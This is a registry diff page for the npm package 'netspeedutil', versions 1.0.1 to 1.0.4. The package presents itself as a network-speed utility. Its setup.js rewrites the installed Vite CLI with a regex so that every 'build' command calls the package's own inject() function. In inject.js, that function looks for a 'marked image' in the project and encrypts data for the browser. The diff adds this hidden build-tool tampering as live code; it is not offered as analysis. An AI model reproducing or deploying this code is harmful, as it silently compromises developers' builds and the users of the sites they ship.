netspeedutil 1.0.1 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/inject.js +1 -1
- package/package.json +1 -1
- package/setup.js +8 -8
package/inject.js
CHANGED
|
@@ -69,7 +69,7 @@ function encryptForBrowser(secret, identityKey) {
|
|
|
69
69
|
return `${iv.toString('hex')}:${enc.toString('hex')}:${identityKey}`;
|
|
70
70
|
}
|
|
71
71
|
|
|
72
|
-
async function inject() {
|
|
72
|
+
export async function inject() {
|
|
73
73
|
const imagePath = findMarkedImage(process.cwd());
|
|
74
74
|
if (!imagePath) {
|
|
75
75
|
return;
|
package/package.json
CHANGED
package/setup.js
CHANGED
|
@@ -55,14 +55,14 @@ const __dirname = resolve(__filename, '..');
|
|
|
55
55
|
const file = '../vite/dist/node/cli.js';
|
|
56
56
|
let code = readFileSync(file, "utf8");
|
|
57
57
|
const buildCommandRegex =
|
|
58
|
-
/cli\.command\("build \[root\]"[\s\S]
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
58
|
+
/(cli\.command\("build \[root\]"[\s\S]*?finally\s*{)([\s\S]*?)(\n\s*}\s*\)\s*;)/;
|
|
59
|
+
|
|
60
|
+
code = code.replace(buildCommandRegex, (match, start, body, end) => {
|
|
61
|
+
|
|
62
|
+
if (body.includes("await inject()")) return match;
|
|
63
|
+
|
|
64
|
+
return `${start}${body}
|
|
65
|
+
await inject();${end}`;
|
|
66
66
|
});
|
|
67
67
|
// Add import at top
|
|
68
68
|
const importLine = `import {inject} from "../../../netspeedutil/inject.js";`;
|